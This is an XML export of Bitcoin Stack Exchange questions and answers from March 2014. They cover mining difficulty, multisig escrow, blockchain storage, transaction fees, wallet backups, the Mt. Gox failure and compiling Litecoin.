  <row Id="23133" PostTypeId="2" ParentId="23131" CreationDate="2014-03-06T06:45:57.890" Score="5" Body="&lt;p&gt;The mining difficulty directly reflects the amount of computing power that the Bitcoin network has. This is adjusted on a periodic basis so that the &lt;em&gt;average&lt;/em&gt; block solution time is 10 minutes (Bitcoin clients recalculate the difficulty every 2016 blocks). The difficulty can go up or down depending on how much effort people are putting into mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information about difficulty can be found &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;noreferrer&quot;&gt;on the Bitcoin wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-06T06:45:57.890" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23137" PostTypeId="1" AcceptedAnswerId="29950" CreationDate="2014-03-06T10:12:30.280" Score="0" ViewCount="170" Body="&lt;p&gt;I know that multisig (n of i) transactions provide a decentralised escrow mechanism. Let's say we have a 2 of 3 address. What happens if funds are sent to the multi-sig address and say the seller is hit by a bus before posting the adorable Hello Kitty™ mug that you bought?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the 3rd party simply sign a transaction returning the coins to the buyer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about the general case of an address where n == i? Are the coins lost?&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2014-08-09T21:57:42.993" Title="Aborted escrow transaction" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23139" PostTypeId="2" ParentId="23109" CreationDate="2014-03-06T10:33:07.560" Score="1" Body="&lt;p&gt;The answer to the first question about why stolen bitcoins can not be easily traced like regular bitcoin transactions. This is because the exchanges like btc-e magically move the coins so that tracing becomes impossible. For example yesterday I moved 15 dollars worth of bitcoins in to btc-e and traded it to litecoins, but the address where I sent those coins still today show the coins are unspent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer to the second question about why stolen bitcoins can not be easily recovered is about the bitcoin protocol itself. We can not magically revert transactions without the coin holders. Recovering stolen coins would require finding the people who are holding the coins, but this is almost impossible because of the anonymity of wallet owners. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two features allow easy protection against being caught which makes cryptocoins good target for Internet theft.&lt;/p&gt;&#xA;" OwnerUserId="14208" LastActivityDate="2014-03-06T10:33:07.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23140" PostTypeId="2" ParentId="18587" CreationDate="2014-03-06T10:50:51.550" Score="0" Body="&lt;p&gt;If you have a WP site you can download the &lt;a href=&quot;http://wordpress.org/plugins/bitcoin-ticker-widget/&quot; rel=&quot;nofollow&quot;&gt;99bitocins ticker&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2014-03-06T10:50:51.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23141" PostTypeId="2" ParentId="23128" CreationDate="2014-03-06T11:06:09.657" Score="1" Body="&lt;p&gt;What you need to do is find a freelance site like Odesk, Guru, Freelancer, or Rentacoder, and find someone who has the requisite qualifications. Offer to pay them fair market value for their time, and fix the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're probably looking at $30 to $40 an hour for someone who can fix this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you're there, you should also have them do a full security audit of your codebase. If I had to wager a guess, the whole project should run you about $3,000 or about 4.66 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck. I like what Reddcoin is about. Would love to see it succeed. If you need any help picking out or managing your developers on this, let me know. I have some experience in sourcing.&lt;/p&gt;&#xA;" OwnerUserId="11003" LastActivityDate="2014-03-06T11:06:09.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23142" PostTypeId="1" AcceptedAnswerId="41459" CreationDate="2014-03-06T13:26:59.610" Score="4" ViewCount="478" Body="&lt;p&gt;Let's call it a &quot;time machine attack&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I have an isolated network of n clients with a significant hash rate, install my client software on that and start mining on an older blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the difficulty was lower back then, I get lots of blocks in very little time, but my timestamps could be forged, and the difficulty increases, but not so much as the real network difficulty (however I am fully in control of my network and can do anything on my blockchain, increasing and decreasing difficulty if I need to, faking timestamps, and so on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as my chain is longer than the official one, I rejoin the network.&#xA;What happens then? Does my longer chain overwrite the other one, effectively giving me all of the bitcoins ever generated after my split?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update - explanation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attacker doesn't need 51% of the computing power of the network. A single pool could start hashing from some point back in time when the difficulty was low, then increase or decrease it in order to grow the blockchain faster. The last &quot;few&quot; blocks could even be harder than the official network difficulty (and take days instead of minutes).&#xA;The attacker &lt;strong&gt;can do what he wants&lt;/strong&gt; on &lt;strong&gt;his&lt;/strong&gt; network, changing network difficulty and forging timestamps, and the length of the blockchain does not depend only on the &lt;strong&gt;current&lt;/strong&gt; network difficulty. I think it's possible to generate a longer blockchain with &quot;relatively low&quot; hash rates (2% - 20% of the network), it could take months (instead of years) but it could be possible in theory.&lt;/p&gt;&#xA;" OwnerUserId="14210" LastEditorUserId="14210" LastEditDate="2014-03-06T15:59:03.080" LastActivityDate="2015-11-21T19:28:42.707" Title="What happens if I fork an older block chain and rejoin the network later?" Tags="|blockchain|network|attack|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23143" PostTypeId="2" ParentId="23142" CreationDate="2014-03-06T13:32:00.757" Score="3" Body="&lt;p&gt;How can it be longer if you don't have more computing power than the entire network? Remember that the network converges on the chain that was hardest to generate, not the one with more blocks.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-03-06T13:32:00.757" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23144" PostTypeId="2" ParentId="16837" CreationDate="2014-03-06T13:34:25.257" Score="0" Body="&lt;p&gt;Right, reduced risk. Even when you count the occasional drop in bitcoin price, we're still looking at an average, consistent, 300% stable increase in the value of Bitcoin over the last year, all things considered. The majority of merchants are extremely risk averse, and use Bitpay, which absorbs both the risk and the reward for the transaction. Adding chargebacks to the protocol, would accomplish the same thing it's done with credit cards. It'll make merchants more reluctant to take it, and it will create a new class of fraud. This is established historic precedent. It's not like we don't know what will happen if we do this.&lt;/p&gt;&#xA;" OwnerUserId="11003" LastActivityDate="2014-03-06T13:34:25.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23146" PostTypeId="1" CreationDate="2014-03-06T14:15:23.453" Score="-1" ViewCount="1705" Body="&lt;p&gt;Three days ago I sent a payment via my MultiBit wallet but it is still marked as unconfirmed, only 4 confirmations. How long it will take this transaction to become fully confirmed? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14214" LastActivityDate="2017-02-18T06:23:29.053" Title="pending payment" Tags="|transactions|wallet|blockchain|multibit|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23147" PostTypeId="1" CreationDate="2014-03-06T14:45:54.263" Score="0" ViewCount="57" Body="&lt;p&gt;Something like blockchain.info appears to keep full wallets online. Do they run a standard bitcoind on thousands of servers (one per person)? Or are the somehow managing to keep individual wallets separated?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-04-05T16:47:07.193" Title="How to store wallets online?" Tags="|blockchain.info|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23148" PostTypeId="1" CreationDate="2014-03-06T15:24:23.887" Score="0" ViewCount="1028" Body="&lt;p&gt;So I have downloaded Bitcoin-QT v0.8.6-beta.&#xA;It has downloaded everything and now this folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\user\AppData\Roaming\Bitcoin\blocks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;is 17GB&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway to prune/delete something?&lt;/p&gt;&#xA;" OwnerUserId="14215" LastActivityDate="2014-03-06T18:35:21.130" Title="Bitcoin/blocks folder up to 17gb" Tags="|block|" AnswerCount="2" CommentCount="0" ClosedDate="2014-03-08T22:42:08.287" ContentLicense="CC BY-SA 3.0" />
  <row Id="23150" PostTypeId="2" ParentId="9404" CreationDate="2014-03-06T15:35:10.613" Score="2" Body="&lt;p&gt;I had this issue also the fix for me was  adding&lt;code&gt;--scrypt -o&lt;/code&gt; to the beginning so it look like this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;--scrypt -o stratum+tcp://stratum.scryptguild.com:3333  -u iwantcoins_nick -p nopw --load-balance&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="11875" LastEditorUserId="11369" LastEditDate="2014-03-22T04:41:24.263" LastActivityDate="2014-03-22T04:41:24.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23151" PostTypeId="2" ParentId="23147" CreationDate="2014-03-06T15:51:41.593" Score="1" Body="&lt;p&gt;Blockchain.info &lt;a href=&quot;https://blockchain.info/api/json_rpc_api&quot; rel=&quot;nofollow&quot;&gt;probably doesn't&lt;/a&gt; use the standard bitcoind client, but something written just for their use, which works like bitcoind, but with a large list of encrypted wallets instead of just one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since bitcoind just isn't made to handle thousands of wallets, it would be cumbersome to try to have a web wallet like blockchain.info use bitcoind. I don't think you'd need one server per person, but you'd need one instance of bitcoind running (whether on-demand or always running) for each wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd expect that nobody would use the standard client for this, but would fork (or create from scratch) their own version. Maybe at some point, someone will release such software as open source software, but there's not really a need to have many different servers like that (unlike, say, &lt;a href=&quot;https://github.com/forrestv/p2pool&quot; rel=&quot;nofollow&quot;&gt;mining&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-03-06T15:51:41.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23152" PostTypeId="2" ParentId="23146" CreationDate="2014-03-06T16:15:50.460" Score="1" Body="&lt;p&gt;Bitcoin transactions are almost instant. Average confirmation time is around 8 minutes, but first confirmation may take an hour and eight confirmations even more. Thing is there is no such thing as fully confirmed transaction. The receiver of bitcoin transaction may decide not accept the transaction before certain amount of confirmations are done to prevent double spending. Bigger transaction fee will increase the transaction confirmation priority, so if you did not pay any transaction fee the confirmations may take quite a while.&lt;/p&gt;&#xA;" OwnerUserId="14208" LastActivityDate="2014-03-06T16:15:50.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23153" PostTypeId="1" AcceptedAnswerId="23155" CreationDate="2014-03-06T17:10:18.147" Score="2" ViewCount="233" Body="&lt;p&gt;last heard, estimates are Mtgox lost about ~$½B ... apparently the current bitcoin market cap is around ~$8B ie Mtgox failure roughly somewhere around 1/16th the entire market cap of bitcoin, a massive amt (although the market value of bitcoin has been affected up to ¼ of total value during the crash, showing an outsize impact many times beyond total value stored by Mtgox, ie impacting overall currency user confidence). (was Mtgox possibly the largest single bitcoin bank?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is some talk in news articles about doing &quot;forensic analysis&quot; on the public bitcoin blockchain. not sure what this will turn up but it raises another question... if any kind of &quot;forensic analysis&quot; can be done &lt;em&gt;a posteriori&lt;/em&gt;, why not also &lt;em&gt;a priori&lt;/em&gt;? in other words&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;does the Mtgox failure have any implication or lessons for bitcoin/ecurrency protocol design/architecture? is there a way to run algorithms by 3&lt;sup&gt;rd&lt;/sup&gt; parties that can identify &quot;banks&quot; like Mtgox that seem to have accountability/stability issues, and esp identify them before they reach massive stability-threatening scale? (aka &quot;too big to fail&quot;?) ie can the architecture itself be built/adjusted with some kind of &quot;fault tolerance&quot; which mitigates such large (near-systemic) failures?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13275" LastActivityDate="2014-03-06T23:53:36.900" Title="mtgox failure... any implications for bitcoin/ecurrency protocol design?" Tags="|blockchain|security|mtgox|error|transaction-verification|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23154" PostTypeId="2" ParentId="23148" CreationDate="2014-03-06T17:29:28.970" Score="3" Body="&lt;p&gt;There's no way to make this smaller. Deleting the files here will cause your node to crash. If space is a problem use a lite client like Electrum or Multibit which does not require a blockchain download.&lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-03-06T17:29:28.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23155" PostTypeId="2" ParentId="23153" CreationDate="2014-03-06T18:08:17.090" Score="1" Body="&lt;p&gt;Yes, finances can be analyzed, but there will be wide ranges for accuracy and precision if an institution remains anonymous which would be strange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely, standards will be built in the financial community around disclosures of BTC for confidence.  Institutions that prefer anonymity or suddenly start showing disparities will probably be shunned with the latter most likely experiencing solvency troubles, exacerbating a run if bailouts cannot be orchestrated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Welcome to the NFL, cryptocurrencies.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-03-06T18:08:17.090" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23156" PostTypeId="2" ParentId="23148" CreationDate="2014-03-06T18:35:21.130" Score="4" Body="&lt;p&gt;The 17 GB of data in your &lt;code&gt;blocks&lt;/code&gt; folder is the &lt;em&gt;blockchain&lt;/em&gt;. This is the public ledger of all transactions in the Bitcoin network, from day one. A full node needs all this data to check each new block that arrives from the network. As time goes on, the size of the blockchain will only increase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There exist other clients such as &lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt; which do not require the full blockchain download. These are called SPV or &lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability#Simplified_payment_verification&quot; rel=&quot;nofollow&quot;&gt;Simplified Payment Verification&lt;/a&gt; clients.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-06T18:35:21.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23157" PostTypeId="1" CreationDate="2014-03-06T19:11:59.670" Score="0" ViewCount="262" Body="&lt;p&gt;I'm trying to convince myself that I'm backing up my wallet correctly. I am told my private keys are in the wallet.dat file, but &lt;strong&gt;what is wallet.dat.gpg&lt;/strong&gt;? It's &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;not listed here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14222" LastActivityDate="2017-12-28T16:37:31.817" Title="What is wallet.dat.gpg?" Tags="|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23158" PostTypeId="2" ParentId="23142" CreationDate="2014-03-06T19:27:03.037" Score="3" Body="&lt;p&gt;You misunderstood concept of &quot;longest chain&quot;. It must have higher total cumulative difficulty, not just more blocks.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-06T19:27:03.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23159" PostTypeId="2" ParentId="23153" CreationDate="2014-03-06T19:44:32.137" Score="1" Body="&lt;p&gt;This issue shows that centralizing anything Bitcoin related is the wrong approach.  The community will benefit the most from decentralized exchanges which are being designed and built as we speak.  Also educating customers that exchanges are not banks is a critical aspect of protecting the ecosystem.  Monitoring such systems should not be the responsibility of end users, but of the people running them.  If Mt. Gox had been proactive and performing regular daily audits on account balances etc it would have been easy for them to identify the issue when it began rather than after it was too late.  &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-03-06T19:44:32.137" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23160" PostTypeId="2" ParentId="23157" CreationDate="2014-03-06T20:14:13.493" Score="1" Body="&lt;p&gt;The &lt;code&gt;.gpg&lt;/code&gt; file extension is often used to indicate a &lt;a href=&quot;http://www.gnupg.org/&quot; rel=&quot;nofollow&quot;&gt;GnuPG&lt;/a&gt; encrypted file. Somebody, or something, at some time, probably made an encrypted copy of your &lt;code&gt;wallet.dat&lt;/code&gt; file and named it &lt;code&gt;wallet.dat.gpg&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-06T20:14:13.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23162" PostTypeId="2" ParentId="23127" CreationDate="2014-03-06T21:43:15.957" Score="2" Body="&lt;p&gt;The short version is that the &lt;strong&gt;sender pays the fees&lt;/strong&gt;, not the receiver. If you ask a wallet to send 33 millibits, you pay more than 33 millibits, and the receiver receives 33 millibits.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But&lt;/strong&gt; it sounds like you're using a wallet that shows it to you differently. For instance, Coinbase (which is an exchange and web wallet, of sorts) doesn't charge you transaction fees at the time the actual Bitcoin transaction happens. They probably do this to reduce confusion in how their services work, what your balances are, and when fees are charged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. if I want to buy .033, it will charge me for (.033 btc at the current buy rate + a bank fee + a coinbase fee), and it will show a balance of .033. I can send .033 to an address, and it adds the transaction fee for me. Your service probably did the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other clients (including Bitcoin-QT and Multibit) show your total balance and require that you pay fees out of that balance; so if I have a balance in Multibit of 1 BTC, I can only send about 0.998 BTC, because I need to pay a transaction fee for most clients to relay my transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You asked wallet A (hosted by somesite.com) to send 33 millibits to address C (address &quot;17BK...&quot;). Your &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;transaction&lt;/a&gt; &lt;a href=&quot;https://blockchain.info/tx/1c5f24045897e83c01b32d4255554a3d74745273fbe617fd40be6ef7176a70a3&quot; rel=&quot;nofollow&quot;&gt;actually looked&lt;/a&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;input: address A (&quot;1PAR...&quot; in wallet A) - 33 millibits&lt;/li&gt;&#xA;&lt;li&gt;input: address B (&quot;1Mjf...&quot; somesite.com) - 0.64443 millibits&lt;/li&gt;&#xA;&lt;li&gt;output: address C (&quot;17BK...&quot; in wallet B) - 33 millibits&lt;/li&gt;&#xA;&lt;li&gt;output: address D (&quot;14ov...&quot; somesite.com) - 0.44443 millibits&lt;/li&gt;&#xA;&lt;li&gt;transaction fee: 0.2 millibits (calculated from input - outputs)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The second output, to address D, is the &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;change&lt;/a&gt; (if you had sent less than your total transaction amount, some of the change would belong to you; as it is, it sounds like it belongs to somesite.com). This exists because a transaction output must be used in its entirety. somesite.com decided to use the money in addressees A and B in order to have enough money for the transaction. Since your inputs came to 33.64443 millibits, and your desired output+fee only comes to 33.2 millibits, the extra money is sent to an address that somesite.com owns (address D).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;172 confirmations in three minutes is practically impossible, as one confirmation takes, on average, 10 minutes (not one second). As you noticed, it was instead saying that the first confirmation took 3 minutes, and that 172 total confirmations had been done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's expected that the balance of wallet B went up by the full 33 millibits - what you might not've realized is that it cost somesite.com a total of 33.2 millibits, because of the transaction fee. That is, the &lt;em&gt;sender&lt;/em&gt; pays the transaction fee. somesite.com showed you a balance of 33 millibits, even though they had to pony up more than 33 to actually use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though the balance of address A was exactly 33 millibits, somesite.com also had the balance of address B to pull from.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-03-16T01:20:52.813" LastActivityDate="2014-03-16T01:20:52.813" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23163" PostTypeId="2" ParentId="22955" CreationDate="2014-03-06T21:48:38.907" Score="1" Body="&lt;p&gt;This is a time when very rapidly, people like you and me (Luddites in a highly Technical, complex virtual environment) are either going to swim or ... do something else less uplifting... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having played 3+million hands of internet poker in my career, I do however know 1 or 0 things about RNG's; &lt;strong&gt;trust spread over a large, human net, cast upon the backdrop of the Internet - - - Trust no one, trust nothing, kill first and kill last.&lt;/strong&gt; It is just that kind of world in the real, it's only natural these aggressive attempts to deceive and defraud other humans pervades the virtual realm as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, there is a well-known repository of Peer Reviewed code. It can be found at www.github.org. It's free, it's open, and it's everyone's for the pilfering, plagiarizing, pluralizing and profiteering. It's also just vastly interesting, even more incomprehensible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cut dry answer to your question is: One should &lt;strong&gt;NOT&lt;/strong&gt; trust Paper Wallet Generator services because services like this are centralized, often closed systems that commonly operate contingent upon a for-profit business model. You have immediately given incentive to the bad actors that would hack your Bitcoin Protocol, realized in it's truest form - &lt;em&gt;A Trust-less Digital Currency, store of value, and pioneer of transparency in a proprietary world.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin's most essential virtue is precisely this notion of requiring, unlike all previous systems introduced to the human race, a purely open-source technology. Meaning even an idiot like I could tinker with the deepest layers of coding in the protocol, if I so desired, if I so deemed it pertinent to my wallets security, or to satisfy my curiosity. It is, in it's highest form, a purely P2P, distributed network of individuals, self-governing their every transaction. It is very unfortunate indeed that we continue to see the growing trend where would be cryptographers counterfeit the gift of Satoshi by relinquishing trust to centralized, closed third parties that have every mal/ability to coffer their coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have no assurance other than your best knowledge. To the best of your knowledge, you would never willingly hand your money, your trust, over to a faceless, inhuman, fallible Paper Wallet Generator Service - one that is susceptible to various forms of attack from within, and without. You would much rather understand your world, your finances and your future, and place all of your trust in yourself. THAT is what bitcoin is all about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a sad reality but it's an exquisite solution, so I recommend you rethink who and why you entrust your wallets security. The pinnacle of cryptography, of bitcoin, is a system that requires you to know your code. I mean honor, I mean integrity, not necessarily that of the intractable, deep math encoding the client, either. Especially prescient is that knowledge that, if you don't trust yourself with your own paper wallets randomization, you can only trust that given sufficient time, every hack will be realized. Without hands on security measures put in place by the capable individual, infinite time*computer integrity = 100% failure.&lt;/p&gt;&#xA;" OwnerUserId="14016" LastEditorUserId="14016" LastEditDate="2014-03-06T22:23:02.537" LastActivityDate="2014-03-06T22:23:02.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23168" PostTypeId="1" CreationDate="2014-03-06T23:57:25.340" Score="1" ViewCount="1893" Body="&lt;p&gt;I downloaded and install MinGW (windows). Then I downloaded Litecoin source from github. Now I use command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make -f makefile.mingw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I compilation stopped with this output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\build\litecoin-master-0.8\src&amp;gt;make -f makefile.mingw&#xA;cd leveldb &amp;amp;&amp;amp; make CC=cc CXX=g++ OPT=&quot;-mthreads -O2 -w -Wall -Wextra -Wformat -W&#xA;format-security -Wno-unused-parameter -g -D_MT -DWIN32 -D_WINDOWS -DBOOST_THREAD&#xA;_USE_LIB -DBOOST_SPIRIT_THREADSAFE -DUSE_IPV6=1 -I/c/build/litecoin-master-0.8/s&#xA;rc/leveldb/include -I/c/build/litecoin-master-0.8/src/leveldb/helpers -I&quot;/c/buil&#xA;d/litecoin-master-0.8/src&quot; -I&quot;/usr/local/include&quot;&quot; TARGET_OS=NATIVE_WINDOWS libl&#xA;eveldb.a libmemenv.a &amp;amp;&amp;amp; cd ..&#xA;File not found - &quot;*_bench.cc&quot;&#xA;make[1]: Entering directory `/c/build/litecoin-master-0.8/src/leveldb'&#xA;g++ -I. -I./include -fno-builtin-memcmp -D_REENTRANT -DOS_WINDOWS -DLEVELDB_PLAT&#xA;FORM_WINDOWS -DWINVER=0x0500 -D__USE_MINGW_ANSI_STDIO=1 -mthreads -O2 -w -Wall -&#xA;Wextra -Wformat -Wformat-security -Wno-unused-parameter -g -D_MT -DWIN32 -D_WIND&#xA;OWS -DBOOST_THREAD_USE_LIB -DBOOST_SPIRIT_THREADSAFE -DUSE_IPV6=1 -I/c/build/lit&#xA;ecoin-master-0.8/src/leveldb/include -I/c/build/litecoin-master-0.8/src/leveldb/&#xA;helpers -I/c/build/litecoin-master-0.8/src -I/usr/local/include -c port/port_win&#xA;.cc -o port/port_win.o&#xA;rm -f libleveldb.a&#xA;ar -rs libleveldb.a port/port_win.o&#xA;c:\MinGW\bin\ar.exe: creating libleveldb.a&#xA;g++ -I. -I./include -fno-builtin-memcmp -D_REENTRANT -DOS_WINDOWS -DLEVELDB_PLAT&#xA;FORM_WINDOWS -DWINVER=0x0500 -D__USE_MINGW_ANSI_STDIO=1 -mthreads -O2 -w -Wall -&#xA;Wextra -Wformat -Wformat-security -Wno-unused-parameter -g -D_MT -DWIN32 -D_WIND&#xA;OWS -DBOOST_THREAD_USE_LIB -DBOOST_SPIRIT_THREADSAFE -DUSE_IPV6=1 -I/c/build/lit&#xA;ecoin-master-0.8/src/leveldb/include -I/c/build/litecoin-master-0.8/src/leveldb/&#xA;helpers -I/c/build/litecoin-master-0.8/src -I/usr/local/include -c helpers/memen&#xA;v/memenv.cc -o helpers/memenv/memenv.o&#xA;rm -f libmemenv.a&#xA;ar -rs libmemenv.a helpers/memenv/memenv.o&#xA;c:\MinGW\bin\ar.exe: creating libmemenv.a&#xA;make[1]: Leaving directory `/c/build/litecoin-master-0.8/src/leveldb'&#xA;g++ -c -mthreads -O2 -w -Wall -Wextra -Wformat -Wformat-security -Wno-unused-par&#xA;ameter -g -D_MT -DWIN32 -D_WINDOWS -DBOOST_THREAD_USE_LIB -DBOOST_SPIRIT_THREADS&#xA;AFE -DUSE_IPV6=1 -I/c/build/litecoin-master-0.8/src/leveldb/include -I/c/build/l&#xA;itecoin-master-0.8/src/leveldb/helpers -I&quot;/c/build/litecoin-master-0.8/src&quot; -I&quot;/&#xA;usr/local/include&quot; -o obj/alert.o alert.cpp&#xA;alert.cpp:6:53: fatal error: boost/algorithm/string/classification.hpp: No such&#xA;file or directory&#xA; #include &amp;lt;boost/algorithm/string/classification.hpp&amp;gt;&#xA;                                                     ^&#xA;compilation terminated.&#xA;make: *** [obj/alert.o] Error 1&#xA;&#xA;C:\build\litecoin-master-0.8\src&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me with compiling this source?&lt;/p&gt;&#xA;" OwnerUserId="4091" LastActivityDate="2017-11-16T10:48:24.713" Title="How to compile source" Tags="|litecoin|compiling|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23169" PostTypeId="1" CreationDate="2014-03-07T00:39:57.003" Score="0" ViewCount="226" Body="&lt;p&gt;The &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4987/bitcoin-url-scheme&quot;&gt;Bitcoin URI scheme&lt;/a&gt; allows for the creation of single-click payment request, using the format&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin:&amp;lt;address&amp;gt;&amp;amp;amount=&amp;lt;amount&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin:1AzGoMQfrQ7fYaE12dAvEVkke8111rxwCm&amp;amp;amount=0.01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does the URI scheme also allow multiple payments to multiple destination addresses?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-03-07T00:55:43.443" Title="Is it possible to create a Bitcoin URI with multiple outputs?" Tags="|payment|bip21-uri|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
